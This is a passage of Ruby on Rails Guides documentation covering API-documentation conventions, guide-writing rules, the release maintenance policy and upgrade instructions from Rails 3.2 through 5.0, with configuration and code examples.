def #{severity.downcase}(message = nil, progname = nil, &block)  # def debug(message = nil, progname = nil, &block)
add(#{severity}, message, progname, &block)                    #   add(DEBUG, message, progname, &block)
end                                                              # end
#
def #{severity.downcase}?                                        # def debug?
#{severity} >= @level                                          #   DEBUG >= @level
end                                                              # end
EOT
end

If the resulting lines are too wide, say 200 columns or more, put the comment above the call:

# def self.find_by_login_and_activated(*args)
#   options = args.extract_options!
#   ...
# end
self.class_eval %{
def self.#{method_id}(*args)
options = args.extract_options!
...
end
}

11 Method Visibility

When writing documentation for Rails, it's important to understand the difference between public user-facing API vs internal API.

Rails, like most libraries, uses the private keyword from Ruby for defining internal API. However, public API follows a slightly different convention. Instead of assuming all public methods are designed for user consumption, Rails uses the :nodoc: directive to annotate these kinds of methods as internal API.

This means that there are methods in Rails with public visibility that aren't meant for user consumption.

An example of this is ActiveRecord::Core::ClassMethods#arel_table:

module ActiveRecord::Core::ClassMethods
def arel_table #:nodoc:
# do some magic..
end
end

If you thought, "this method looks like a public class method for ActiveRecord::Core", you were right. But actually the Rails team doesn't want users to rely on this method. So they mark it as :nodoc: and it's removed from public documentation. The reasoning behind this is to allow the team to change these methods according to their internal needs across releases as they see fit. The name of this method could change, or the return value, or this entire class may disappear; there's no guarantee and so you shouldn't depend on this API in your plugins or applications. Otherwise, you risk your app or gem breaking when you upgrade to a newer release of Rails.

As a contributor, it's important to think about whether this API is meant for end-user consumption. The Rails team is committed to not making any breaking changes to public API across releases without going through a full deprecation cycle. It's recommended that you :nodoc: any of your internal methods/classes unless they're already private (meaning visibility), in which case it's internal by default. Once the API stabilizes the visibility can change, but changing public API is much harder due to backwards compatibility.

A class or module is marked with :nodoc: to indicate that all methods are internal API and should never be used directly.

If you come across an existing :nodoc: you should tread lightly. Consider asking someone from the core team or author of the code before removing it. This should almost always happen through a pull request instead of the docrails project.

A :nodoc: should never be added simply because a method or class is missing documentation. There may be an instance where an internal public method wasn't given a :nodoc: by mistake, for example when switching a method from private to public visibility. When this happens it should be discussed over a PR on a case-by-case basis and never committed directly to docrails.

To summarize, the Rails team uses :nodoc: to mark publicly visible methods and classes for internal use; changes to the visibility of API should be considered carefully and discussed over a pull request first.

12 Regarding the Rails Stack

When documenting parts of Rails API, it's important to remember all of the pieces that go into the Rails stack.

This means that behavior may change depending on the scope or context of the method or class you're trying to document.

In various places there is different behavior when you take the entire stack into account, one such example is ActionView::Helpers::AssetTagHelper#image_tag:

# image_tag("icon.png")
#   # => <img alt="Icon" src="/assets/icon.png" />

Although the default behavior for #image_tag is to always return /images/icon.png, we take into account the full Rails stack (including the Asset Pipeline) we may see the result seen above.

We're only concerned with the behavior experienced when using the full default Rails stack.

In this case, we want to document the behavior of the framework, and not just this specific method.

If you have a question on how the Rails team handles certain API, don't hesitate to open a ticket or send a patch to the issue tracker.

Ruby on Rails Guides Guidelines — Ruby...

1 Markdown

Guides are written in GitHub Flavored Markdown. There is comprehensive documentation for Markdown, as well as a cheatsheet.

2 Prologue

Each guide should start with motivational text at the top (that's the little introduction in the blue area). The prologue should tell the reader what the guide is about, and what they will learn. As an example, see the Routing Guide.

3 Headings

The title of every guide uses an h1 heading; guide sections use h2 headings; subsections use h3 headings; etc. Note that the generated HTML output will use heading tags starting with <h2>.

Guide Title
===========

Section
-------

### Sub Section

When writing headings, capitalize all words except for prepositions, conjunctions, internal articles, and forms of the verb "to be":

#### Middleware Stack is an Array
#### When are Objects Saved?

Use the same inline formatting as regular text:

##### The `:content_type` Option

4 API Documentation Guidelines

The guides and the API should be coherent and consistent where appropriate. In particular, these sections of the API Documentation Guidelines also apply to the guides:

- Wording

- English

- Example Code

- Filenames

- Fonts

5 HTML Guides

Before generating the guides, make sure that you have the latest version of Bundler installed on your system. As of this writing, you must install Bundler 1.3.5 or later on your device.

To install the latest version of Bundler, run gem install bundler.

5.1 Generation

To generate all the guides, just cd into the guides directory, run bundle install, and execute:

bundle exec rake guides:generate

or

bundle exec rake guides:generate:html

Resulting HTML files can be found in the ./output directory.

To process my_guide.md and nothing else use the ONLY environment variable:

touch my_guide.md
bundle exec rake guides:generate ONLY=my_guide

By default, guides that have not been modified are not processed, so ONLY is rarely needed in practice.

To force processing all the guides, pass ALL=1.

It is also recommended that you work with WARNINGS=1. This detects duplicate IDs and warns about broken internal links.

If you want to generate guides in a language other than English, you can keep them in a separate directory under source (eg. source/es) and use the GUIDES_LANGUAGE environment variable:

bundle exec rake guides:generate GUIDES_LANGUAGE=es

If you want to see all the environment variables you can use to configure the generation script just run:

rake

5.2 Validation

Please validate the generated HTML with:

bundle exec rake guides:validate

Particularly, titles get an ID generated from their content and this often leads to duplicates. Please set WARNINGS=1 when generating guides to detect them. The warning messages suggest a solution.

6 Kindle Guides

6.1 Generation

To generate guides for the Kindle, use the following rake task:

bundle exec rake guides:generate:kindle

Maintenance Policy for Ruby on Rails —...

1 New Features

New features are only added to the master branch and will not be made available in point releases.

2 Bug Fixes

Only the latest release series will receive bug fixes. When enough bugs are fixed and its deemed worthy to release a new gem, this is the branch it happens from.

In special situations, where someone from the Core Team agrees to support more series, they are included in the list of supported series.

Currently included series: 5.0.Z, 4.2.Z.

3 Security Issues

The current release series and the next most recent one will receive patches and new versions in case of a security issue.

These releases are created by taking the last released version, applying the security patches, and releasing. Those patches are then applied to the end of the x-y-stable branch. For example, a theoretical 1.2.3 security release would be built from 1.2.2, and then added to the end of 1-2-stable. This means that security releases are easy to upgrade to if you're running the latest version of Rails.

Currently included series: 5.0.Z, 4.2.Z.

4 Severe Security Issues

For severe security issues we will provide new versions as above, and also the last major release series will receive patches and new versions. The classification of the security issue is judged by the core team.

Currently included series: 5.0.Z, 4.2.Z.

5 Unsupported Release Series

When a release series is no longer supported, it's your own responsibility to deal with bugs and security issues. We may provide backports of the fixes and publish them to git, however there will be no new versions released. If you are not comfortable maintaining your own versions, you should upgrade to a supported version.

A Guide for Upgrading Ruby on Rails —...

1 General Advice

Before attempting to upgrade an existing application, you should be sure you have a good reason to upgrade. You need to balance several factors: the need for new features, the increasing difficulty of finding support for old code, and your available time and skills, to name a few.

1.1 Test Coverage

The best way to be sure that your application still works after upgrading is to have good test coverage before you start the process. If you don't have automated tests that exercise the bulk of your application, you'll need to spend time manually exercising all the parts that have changed. In the case of a Rails upgrade, that will mean every single piece of functionality in the application. Do yourself a favor and make sure your test coverage is good before you start an upgrade.

1.2 The Upgrade Process

When changing Rails versions, it's best to move slowly, one minor version at a time, in order to make good use of the deprecation warnings. Rails version numbers are in the form Major.Minor.Patch. Major and Minor versions are allowed to make changes to the public API, so this may cause errors in your application. Patch versions only include bug fixes, and don't change any public API.

The process should go as follows:

1. Write tests and make sure they pass.

2. Move to the latest patch version after your current version.

3. Fix tests and deprecated features.

4. Move to the latest patch version of the next minor version.

Repeat this process until you reach your target Rails version. Each time you move versions, you will need to change the Rails version number in the Gemfile (and possibly other gem versions) and run bundle update. Then run the Update task mentioned below to update configuration files, then run your tests.

You can find a list of all released Rails versions here.

1.3 Ruby Versions

Rails generally stays close to the latest released Ruby version when it's released:

- Rails 5 requires Ruby 2.2.2 or newer.

- Rails 4 prefers Ruby 2.0 and requires 1.9.3 or newer.

- Rails 3.2.x is the last branch to support Ruby 1.8.7.

- Rails 3 and above require Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially. You should upgrade as early as possible.

Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump straight to 1.9.3 for smooth sailing.

1.4 The Update Task

Rails provides the app:update task (rails:update on 4.2 and earlier). After updating the Rails version in the Gemfile, run this task. This will help you with the creation of new files and changes of old files in an interactive session.

$ rails app:update
identical  config/boot.rb
exist  config
conflict  config/routes.rb
Overwrite /myapp/config/routes.rb? (enter "h" for help) [Ynaqdh]
force  config/routes.rb
conflict  config/application.rb
Overwrite /myapp/config/application.rb? (enter "h" for help) [Ynaqdh]
force  config/application.rb
conflict  config/environment.rb
...

Don't forget to review the difference, to see if there were any unexpected changes.

2 Upgrading from Rails 4.2 to Rails 5.0

For more information on changes made to Rails 5.0 please see the release notes.

2.1 Ruby 2.2.2+ required

From Ruby on Rails 5.0 onwards, Ruby 2.2.2+ is the only supported Ruby version. Make sure you are on Ruby 2.2.2 version or greater, before you proceed.

2.2 Active Record Models Now Inherit from ApplicationRecord by Default

In Rails 4.2, an Active Record model inherits from ActiveRecord::Base. In Rails 5.0, all models inherit from ApplicationRecord.

ApplicationRecord is a new superclass for all app models, analogous to app controllers subclassing ApplicationController instead of ActionController::Base. This gives apps a single spot to configure app-wide model behavior.

When upgrading from Rails 4.2 to Rails 5.0, you need to create an application_record.rb file in app/models/ and add the following content:

class ApplicationRecord < ActiveRecord::Base
self.abstract_class = true
end

Then make sure that all your models inherit from it.

2.3 Halting Callback Chains via throw(:abort)

In Rails 4.2, when a 'before' callback returns false in Active Record and Active Model, then the entire callback chain is halted. In other words, successive 'before' callbacks are not executed, and neither is the action wrapped in callbacks.

In Rails 5.0, returning false in an Active Record or Active Model callback will not have this side effect of halting the callback chain. Instead, callback chains must be explicitly halted by calling throw(:abort).

When you upgrade from Rails 4.2 to Rails 5.0, returning false in those kind of callbacks will still halt the callback chain, but you will receive a deprecation warning about this upcoming change.

When you are ready, you can opt into the new behavior and remove the deprecation warning by adding the following configuration to your config/application.rb:

ActiveSupport.halt_callback_chains_on_return_false = false

Note that this option will not affect Active Support callbacks since they never halted the chain when any value was returned.

See #17227 for more details.

2.4 ActiveJob Now Inherits from ApplicationJob by Default

In Rails 4.2, an Active Job inherits from ActiveJob::Base. In Rails 5.0, this behavior has changed to now inherit from ApplicationJob.

When upgrading from Rails 4.2 to Rails 5.0, you need to create an application_job.rb file in app/jobs/ and add the following content:

class ApplicationJob < ActiveJob::Base
end

Then make sure that all your job classes inherit from it.

See #19034 for more details.

2.5 Rails Controller Testing

assigns and assert_template have been extracted to the rails-controller-testing gem. To continue using these methods in your controller tests, add gem 'rails-controller-testing' to your Gemfile.

If you are using Rspec for testing, please see the extra configuration required in the gem's documentation.

2.6 Autoloading is Disabled After Booting in the Production Environment

Autoloading is now disabled after booting in the production environment by default.

Eager loading the application is part of the boot process, so top-level constants are fine and are still autoloaded, no need to require their files.

Constants in deeper places only executed at runtime, like regular method bodies, are also fine because the file defining them will have been eager loaded while booting.

For the vast majority of applications this change needs no action. But in the very rare event that your application needs autoloading while running in production mode, set Rails.application.config.enable_dependency_loading to true.

2.7 XML Serialization

ActiveModel::Serializers::Xml has been extracted from Rails to the activemodel-serializers-xml gem. To continue using XML serialization in your application, add gem 'activemodel-serializers-xml' to your Gemfile.

2.8 Removed Support for Legacy mysql Database Adapter

Rails 5 removes support for the legacy mysql database adapter. Most users should be able to use mysql2 instead. It will be converted to a separate gem when we find someone to maintain it.

2.9 Removed Support for Debugger

debugger is not supported by Ruby 2.2 which is required by Rails 5. Use byebug instead.

2.10 Use bin/rails for running tasks and tests

Rails 5 adds the ability to run tasks and tests through bin/rails instead of rake. Generally these changes are in parallel with rake, but some were ported over altogether.

To use the new test runner simply type bin/rails test.

rake dev:cache is now rails dev:cache.

Run bin/rails to see the list of commands available.

2.11 ActionController::Parameters No Longer Inherits from HashWithIndifferentAccess

Calling params in your application will now return an object instead of a hash. If your parameters are already permitted, then you will not need to make any changes. If you are using slice and other methods that depend on being able to read the hash regardless of permitted? you will need to upgrade your application to first permit and then convert to a hash.

params.permit([:proceed_to, :return_to]).to_h

2.12 protect_from_forgery Now Defaults to prepend: false

protect_from_forgery defaults to prepend: false which means that it will be inserted into the callback chain at the point in which you call it in your application. If you want protect_from_forgery to always run first, then you should change your application to use protect_from_forgery prepend: true.

2.13 Default Template Handler is Now RAW

Files without a template handler in their extension will be rendered using the raw handler. Previously Rails would render files using the ERB template handler.

If you do not want your file to be handled via the raw handler, you should add an extension to your file that can be parsed by the appropriate template handler.

2.14 Added Wildcard Matching for Template Dependencies

You can now use wildcard matching for your template dependencies. For example, if you were defining your templates as such:

<% # Template Dependency: recordings/threads/events/subscribers_changed %>
<% # Template Dependency: recordings/threads/events/completed %>
<% # Template Dependency: recordings/threads/events/uncompleted %>

You can now just call the dependency once with a wildcard.

<% # Template Dependency: recordings/threads/events/* %>

2.15 Removed Support for protected_attributes Gem

The protected_attributes gem is no longer supported in Rails 5.

2.16 Removed support for activerecord-deprecated_finders gem

The activerecord-deprecated_finders gem is no longer supported in Rails 5.

2.17 ActiveSupport::TestCase Default Test Order is Now Random

When tests are run in your application, the default order is now :random instead of :sorted. Use the following config option to set it back to :sorted.

# config/environments/test.rb
Rails.application.configure do
config.active_support.test_order = :sorted
end

2.18 ActionController::Live became a Concern

If you include ActionController::Live in another module that is included in your controller, then you should also extend the module with ActiveSupport::Concern. Alternatively, you can use the self.included hook to include ActionController::Live directly to the controller once the StreamingSupport is included.

This means that if your application used to have its own streaming module, the following code would break in production mode:

# This is a work-around for streamed controllers performing authentication with Warden/Devise.
# See https://github.com/plataformatec/devise/issues/2332
# Authenticating in the router is another solution as suggested in that issue
class StreamingSupport
include ActionController::Live # this won't work in production for Rails 5
# extend ActiveSupport::Concern # unless you uncomment this line.

def process(name)
super(name)
rescue ArgumentError => e
if e.message == 'uncaught throw :warden'
throw :warden
else
raise e
end
end
end

2.19 New Framework Defaults

2.19.1 Active Record belongs_to Required by Default Option

belongs_to will now trigger a validation error by default if the association is not present.

This can be turned off per-association with optional: true.

This default will be automatically configured in new applications. If existing application want to add this feature it will need to be turned on in an initializer.

config.active_record.belongs_to_required_by_default = true

2.19.2 Per-form CSRF Tokens

Rails 5 now supports per-form CSRF tokens to mitigate against code-injection attacks with forms created by JavaScript. With this option turned on, forms in your application will each have their own CSRF token that is specified to the action and method for that form.

config.action_controller.per_form_csrf_tokens = true

2.19.3 Forgery Protection with Origin Check

You can now configure your application to check if the HTTP Origin header should be checked against the site's origin as an additional CSRF defense. Set the following in your config to true:

config.action_controller.forgery_protection_origin_check = true

2.19.4 Allow Configuration of Action Mailer Queue Name

The default mailer queue name is mailers. This configuration option allows you to globally change the queue name. Set the following in your config:

config.action_mailer.deliver_later_queue_name = :new_queue_name

2.19.5 Support Fragment Caching in Action Mailer Views

Set config.action_mailer.perform_caching in your config to determine whether your Action Mailer views should support caching.

config.action_mailer.perform_caching = true

2.19.6 Configure the Output of db:structure:dump

If you're using schema_search_path or other PostgreSQL extentions, you can control how the schema is dumped. Set to :all to generate all dumps, or to :schema_search_path to generate from schema search path.

config.active_record.dump_schemas = :all

2.19.7 Configure SSL Options to Enable HSTS with Subdomains

Set the following in your config to enable HSTS when using subdomains:

config.ssl_options = { hsts: { subdomains: true } }

2.19.8 Preserve Timezone of the Receiver

When using Ruby 2.4, you can preserve the timezone of the receiver when calling to_time.

ActiveSupport.to_time_preserves_timezone = false

3 Upgrading from Rails 4.1 to Rails 4.2

3.1 Web Console

First, add gem 'web-console', '~> 2.0' to the :development group in your Gemfile and run bundle install (it won't have been included when you upgraded Rails). Once it's been installed, you can simply drop a reference to the console helper (i.e., <%= console %>) into any view you want to enable it for. A console will also be provided on any error page you view in your development environment.

3.2 Responders

respond_with and the class-level respond_to methods have been extracted to the responders gem. To use them, simply add gem 'responders', '~> 2.0' to your Gemfile. Calls to respond_with and respond_to (again, at the class level) will no longer work without having included the responders gem in your dependencies:

# app/controllers/users_controller.rb

class UsersController < ApplicationController
respond_to :html, :json

def show
@user = User.find(params[:id])
respond_with @user
end
end

Instance-level respond_to is unaffected and does not require the additional gem:

# app/controllers/users_controller.rb

class UsersController < ApplicationController
def show
@user = User.find(params[:id])
respond_to do |format|
format.html
format.json { render json: @user }
end
end
end

See #16526 for more details.

3.3 Error handling in transaction callbacks

Currently, Active Record suppresses errors raised within after_rollback or after_commit callbacks and only prints them to the logs. In the next version, these errors will no longer be suppressed. Instead, the errors will propagate normally just like in other Active Record callbacks.

When you define an after_rollback or after_commit callback, you will receive a deprecation warning about this upcoming change. When you are ready, you can opt into the new behavior and remove the deprecation warning by adding following configuration to your config/application.rb:

config.active_record.raise_in_transactional_callbacks = true

See #14488 and #16537 for more details.

3.4 Ordering of test cases

In Rails 5.0, test cases will be executed in random order by default. In anticipation of this change, Rails 4.2 introduced a new configuration option active_support.test_order for explicitly specifying the test ordering. This allows you to either lock down the current behavior by setting the option to :sorted, or opt into the future behavior by setting the option to :random.

If you do not specify a value for this option, a deprecation warning will be emitted. To avoid this, add the following line to your test environment:

# config/environments/test.rb
Rails.application.configure do
config.active_support.test_order = :sorted # or `:random` if you prefer
end

3.5 Serialized attributes

When using a custom coder (e.g. serialize :metadata, JSON), assigning nil to a serialized attribute will save it to the database as NULL instead of passing the nil value through the coder (e.g. "null" when using the JSON coder).

3.6 Production log level

In Rails 5, the default log level for the production environment will be changed to :debug (from :info). To preserve the current default, add the following line to your production.rb:

# Set to `:info` to match the current default, or set to `:debug` to opt-into
# the future default.
config.log_level = :info

3.7 after_bundle in Rails templates

If you have a Rails template that adds all the files in version control, it fails to add the generated binstubs because it gets executed before Bundler:

# template.rb
generate(:scaffold, "person name:string")
route "root to: 'people#index'"
rake("db:migrate")

git :init
git add: "."
git commit: %Q{ -m 'Initial commit' }

You can now wrap the git calls in an after_bundle block. It will be run after the binstubs have been generated.

# template.rb
generate(:scaffold, "person name:string")
route "root to: 'people#index'"
rake("db:migrate")

after_bundle do
git :init
git add: "."
git commit: %Q{ -m 'Initial commit' }
end

3.8 Rails HTML Sanitizer

There's a new choice for sanitizing HTML fragments in your applications. The venerable html-scanner approach is now officially being deprecated in favor of Rails HTML Sanitizer.

This means the methods sanitize, sanitize_css, strip_tags and strip_links are backed by a new implementation.

This new sanitizer uses Loofah internally. Loofah in turn uses Nokogiri, which wraps XML parsers written in both C and Java, so sanitization should be faster no matter which Ruby version you run.

The new version updates sanitize, so it can take a Loofah::Scrubber for powerful scrubbing. See some examples of scrubbers here.

Two new scrubbers have also been added: PermitScrubber and TargetScrubber. Read the gem's readme for more information.

The documentation for PermitScrubber and TargetScrubber explains how you can gain complete control over when and how elements should be stripped.

If your application needs to use the old sanitizer implementation, include rails-deprecated_sanitizer in your Gemfile:

gem 'rails-deprecated_sanitizer'

3.9 Rails DOM Testing

The TagAssertions module (containing methods such as assert_tag), has been deprecated in favor of the assert_select methods from the SelectorAssertions module, which has been extracted into the rails-dom-testing gem.

3.10 Masked Authenticity Tokens

In order to mitigate SSL attacks, form_authenticity_token is now masked so that it varies with each request. Thus, tokens are validated by unmasking and then decrypting. As a result, any strategies for verifying requests from non-rails forms that relied on a static session CSRF token have to take this into account.

3.11 Action Mailer

Previously, calling a mailer method on a mailer class will result in the corresponding instance method being executed directly. With the introduction of Active Job and #deliver_later, this is no longer true. In Rails 4.2, the invocation of the instance methods are deferred until either deliver_now or deliver_later is called. For example:

class Notifier < ActionMailer::Base
def notify(user, ...)
puts "Called"
mail(to: user.email, ...)
end
end

mail = Notifier.notify(user, ...) # Notifier#notify is not yet called at this point
mail = mail.deliver_now           # Prints "Called"

This should not result in any noticeable differences for most applications. However, if you need some non-mailer methods to be executed synchronously, and you were previously relying on the synchronous proxying behavior, you should define them as class methods on the mailer class directly:

class Notifier < ActionMailer::Base
def self.broadcast_notifications(users, ...)
users.each { |user| Notifier.notify(user, ...) }
end
end

3.12 Foreign Key Support

The migration DSL has been expanded to support foreign key definitions. If you've been using the Foreigner gem, you might want to consider removing it. Note that the foreign key support of Rails is a subset of Foreigner. This means that not every Foreigner definition can be fully replaced by its Rails migration DSL counterpart.

The migration procedure is as follows:

1. remove gem "foreigner" from the Gemfile.

2. run bundle install.

3. run bin/rake db:schema:dump.

4. make sure that db/schema.rb contains every foreign key definition with the necessary options.

4 Upgrading from Rails 4.0 to Rails 4.1

4.1 CSRF protection from remote <script> tags

Or, "whaaat my tests are failing!!!?" or "my <script> widget is busted!!"

Cross-site request forgery (CSRF) protection now covers GET requests with JavaScript responses, too. This prevents a third-party site from remotely referencing your JavaScript with a <script> tag to extract sensitive data.

This means that your functional and integration tests that use

get :index, format: :js

will now trigger CSRF protection. Switch to

xhr :get, :index, format: :js

to explicitly test an XmlHttpRequest.

Note: Your own <script> tags are treated as cross-origin and blocked by default, too. If you really mean to load JavaScript from <script> tags, you must now explicitly skip CSRF protection on those actions.

4.2 Spring

If you want to use Spring as your application preloader you need to:

1. Add gem 'spring', group: :development to your Gemfile.

2. Install spring using bundle install.

3. Springify your binstubs with bundle exec spring binstub --all.

User defined rake tasks will run in the development environment by default. If you want them to run in other environments consult the Spring README.

4.3 config/secrets.yml

If you want to use the new secrets.yml convention to store your application's secrets, you need to:

1. Create a secrets.yml file in your config folder with the following content:

development:
secret_key_base:

test:
secret_key_base:

production:
secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>

2. Use your existing secret_key_base from the secret_token.rb initializer to set the SECRET_KEY_BASE environment variable for whichever users running the Rails application in production mode. Alternatively, you can simply copy the existing secret_key_base from the secret_token.rb initializer to secrets.yml under the production section, replacing '<%= ENV["SECRET_KEY_BASE"] %>'.

3. Remove the secret_token.rb initializer.

4. Use rake secret to generate new keys for the development and test sections.

5. Restart your server.

4.4 Changes to test helper

If your test helper contains a call to ActiveRecord::Migration.check_pending! this can be removed. The check is now done automatically when you require 'rails/test_help', although leaving this line in your helper is not harmful in any way.

4.5 Cookies serializer

Applications created before Rails 4.1 uses Marshal to serialize cookie values into the signed and encrypted cookie jars. If you want to use the new JSON-based format in your application, you can add an initializer file with the following content:

Rails.application.config.action_dispatch.cookies_serializer = :hybrid

This would transparently migrate your existing Marshal-serialized cookies into the new JSON-based format.

When using the :json or :hybrid serializer, you should beware that not all Ruby objects can be serialized as JSON. For example, Date and Time objects will be serialized as strings, and Hashes will have their keys stringified.

class CookiesController < ApplicationController
def set_cookie
cookies.encrypted[:expiration_date] = Date.tomorrow # => Thu, 20 Mar 2014
redirect_to action: 'read_cookie'
end

def read_cookie
cookies.encrypted[:expiration_date] # => "2014-03-20"
end
end

It's advisable that you only store simple data (strings and numbers) in cookies. If you have to store complex objects, you would need to handle the conversion manually when reading the values on subsequent requests.

If you use the cookie session store, this would apply to the session and flash hash as well.

4.6 Flash structure changes

Flash message keys are normalized to strings. They can still be accessed using either symbols or strings. Looping through the flash will always yield string keys:

flash["string"] = "a string"
flash[:symbol] = "a symbol"

# Rails < 4.1
flash.keys # => ["string", :symbol]

# Rails >= 4.1
flash.keys # => ["string", "symbol"]

Make sure you are comparing Flash message keys against strings.

4.7 Changes in JSON handling

There are a few major changes related to JSON handling in Rails 4.1.

4.7.1 MultiJSON removal

MultiJSON has reached its end-of-life and has been removed from Rails.

If your application currently depend on MultiJSON directly, you have a few options:

1. Add 'multi_json' to your Gemfile. Note that this might cease to work in the future

2. Migrate away from MultiJSON by using obj.to_json, and JSON.parse(str) instead.

Do not simply replace MultiJson.dump and MultiJson.load with JSON.dump and JSON.load. These JSON gem APIs are meant for serializing and deserializing arbitrary Ruby objects and are generally unsafe.

4.7.2 JSON gem compatibility

Historically, Rails had some compatibility issues with the JSON gem. Using JSON.generate and JSON.dump inside a Rails application could produce unexpected errors.

Rails 4.1 fixed these issues by isolating its own encoder from the JSON gem. The JSON gem APIs will function as normal, but they will not have access to any Rails-specific features. For example:

class FooBar
def as_json(options = nil)
{ foo: 'bar' }
end
end

>> FooBar.new.to_json # => "{\"foo\":\"bar\"}"
>> JSON.generate(FooBar.new, quirks_mode: true) # => "\"#<FooBar:0x007fa80a481610>\""

4.7.3 New JSON encoder

The JSON encoder in Rails 4.1 has been rewritten to take advantage of the JSON gem. For most applications, this should be a transparent change. However, as part of the rewrite, the following features have been removed from the encoder:

1. Circular data structure detection

2. Support for the encode_json hook

3. Option to encode BigDecimal objects as numbers instead of strings

If your application depends on one of these features, you can get them back by adding the activesupport-json_encoder gem to your Gemfile.

4.7.4 JSON representation of Time objects

#as_json for objects with time component (Time, DateTime, ActiveSupport::TimeWithZone) now returns millisecond precision by default. If you need to keep old behavior with no millisecond precision, set the following in an initializer:

ActiveSupport::JSON::Encoding.time_precision = 0

4.8 Usage of return within inline callback blocks

Previously, Rails allowed inline callback blocks to use return this way:

class ReadOnlyModel < ActiveRecord::Base
before_save { return false } # BAD
end

This behavior was never intentionally supported. Due to a change in the internals of ActiveSupport::Callbacks, this is no longer allowed in Rails 4.1. Using a return statement in an inline callback block causes a LocalJumpError to be raised when the callback is executed.

Inline callback blocks using return can be refactored to evaluate to the returned value:

class ReadOnlyModel < ActiveRecord::Base
before_save { false } # GOOD
end

Alternatively, if return is preferred it is recommended to explicitly define a method:

class ReadOnlyModel < ActiveRecord::Base
before_save :before_save_callback # GOOD

private
def before_save_callback
return false
end
end

This change applies to most places in Rails where callbacks are used, including Active Record and Active Model callbacks, as well as filters in Action Controller (e.g. before_action).

See this pull request for more details.

4.9 Methods defined in Active Record fixtures

Rails 4.1 evaluates each fixture's ERB in a separate context, so helper methods defined in a fixture will not be available in other fixtures.

Helper methods that are used in multiple fixtures should be defined on modules included in the newly introduced ActiveRecord::FixtureSet.context_class, in test_helper.rb.

module FixtureFileHelpers
def file_sha(path)
Digest::SHA2.hexdigest(File.read(Rails.root.join('test/fixtures', path)))
end
end
ActiveRecord::FixtureSet.context_class.include FixtureFileHelpers

4.10 I18n enforcing available locales

Rails 4.1 now defaults the I18n option enforce_available_locales to true. This means that it will make sure that all locales passed to it must be declared in the available_locales list.

To disable it (and allow I18n to accept any locale option) add the following configuration to your application:

config.i18n.enforce_available_locales = false

Note that this option was added as a security measure, to ensure user input cannot be used as locale information unless it is previously known. Therefore, it's recommended not to disable this option unless you have a strong reason for doing so.

4.11 Mutator methods called on Relation

Relation no longer has mutator methods like #map! and #delete_if. Convert to an Array by calling #to_a before using these methods.

It intends to prevent odd bugs and confusion in code that call mutator methods directly on the Relation.

# Instead of this
Author.where(name: 'Hank Moody').compact!

# Now you have to do this
authors = Author.where(name: 'Hank Moody').to_a
authors.compact!

4.12 Changes on Default Scopes

Default scopes are no longer overridden by chained conditions.

In previous versions when you defined a default_scope in a model it was overridden by chained conditions in the same field. Now it is merged like any other scope.

Before:

class User < ActiveRecord::Base
default_scope { where state: 'pending' }
scope :active, -> { where state: 'active' }
scope :inactive, -> { where state: 'inactive' }
end

User.all
# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'

User.active
# SELECT "users".* FROM "users" WHERE "users"."state" = 'active'

User.where(state: 'inactive')
# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive'

After:

class User < ActiveRecord::Base
default_scope { where state: 'pending' }
scope :active, -> { where state: 'active' }
scope :inactive, -> { where state: 'inactive' }
end

User.all
# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'

User.active
# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'active'

User.where(state: 'inactive')
# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'inactive'

To get the previous behavior it is needed to explicitly remove the default_scope condition using unscoped, unscope, rewhere or except.

class User < ActiveRecord::Base
default_scope { where state: 'pending' }
scope :active, -> { unscope(where: :state).where(state: 'active') }
scope :inactive, -> { rewhere state: 'inactive' }
end

User.all
# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'

User.active
# SELECT "users".* FROM "users" WHERE "users"."state" = 'active'

User.inactive
# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive'

4.13 Rendering content from string

Rails 4.1 introduces :plain, :html, and :body options to render. Those options are now the preferred way to render string-based content, as it allows you to specify which content type you want the response sent as.

- render :plain will set the content type to text/plain

- render :html will set the content type to text/html

- render :body will not set the content type header.

From the security standpoint, if you don't expect to have any markup in your response body, you should be using render :plain as most browsers will escape unsafe content in the response for you.

We will be deprecating the use of render :text in a future version. So please start using the more precise :plain, :html, and :body options instead. Using render :text may pose a security risk, as the content is sent as text/html.

4.14 PostgreSQL json and hstore datatypes

Rails 4.1 will map json and hstore columns to a string-keyed Ruby Hash. In earlier versions, a HashWithIndifferentAccess was used. This means that symbol access is no longer supported. This is also the case for store_accessors based on top of json or hstore columns. Make sure to use string keys consistently.

4.15 Explicit block use for ActiveSupport::Callbacks

Rails 4.1 now expects an explicit block to be passed when calling ActiveSupport::Callbacks.set_callback. This change stems from ActiveSupport::Callbacks being largely rewritten for the 4.1 release.

# Previously in Rails 4.0
set_callback :save, :around, ->(r, &block) { stuff; result = block.call; stuff }

# Now in Rails 4.1
set_callback :save, :around, ->(r, block) { stuff; result = block.call; stuff }

5 Upgrading from Rails 3.2 to Rails 4.0

If your application is currently on any version of Rails older than 3.2.x, you should upgrade to Rails 3.2 before attempting one to Rails 4.0.

The following changes are meant for upgrading your application to Rails 4.0.

5.1 HTTP PATCH

Rails 4 now uses PATCH as the primary HTTP verb for updates when a RESTful resource is declared in config/routes.rb. The update action is still used, and PUT requests will continue to be routed to the update action as well. So, if you're using only the standard RESTful routes, no changes need to be made:

resources :users

<%= form_for @user do |f| %>

class UsersController < ApplicationController
def update
# No change needed; PATCH will be preferred, and PUT will still work.
end
end

However, you will need to make a change if you are using form_for to update a resource in conjunction with a custom route using the PUT HTTP method:

resources :users, do
put :update_name, on: :member
end

<%= form_for [ :update_name, @user ] do |f| %>

class UsersController < ApplicationController
def update_name
# Change needed; form_for will try to use a non-existent PATCH route.
end
end

If the action is not being used in a public API and you are free to change the HTTP method, you can update your route to use patch instead of put:

PUT requests to /users/:id in Rails 4 get routed to update as they are today. So, if you have an API that gets real PUT requests it is going to work. The router also routes PATCH requests to /users/:id to the update action.

resources :users do
patch :update_name, on: :member
end

If the action is being used in a public API and you can't change to HTTP method being used, you can update your form to use the PUT method instead:

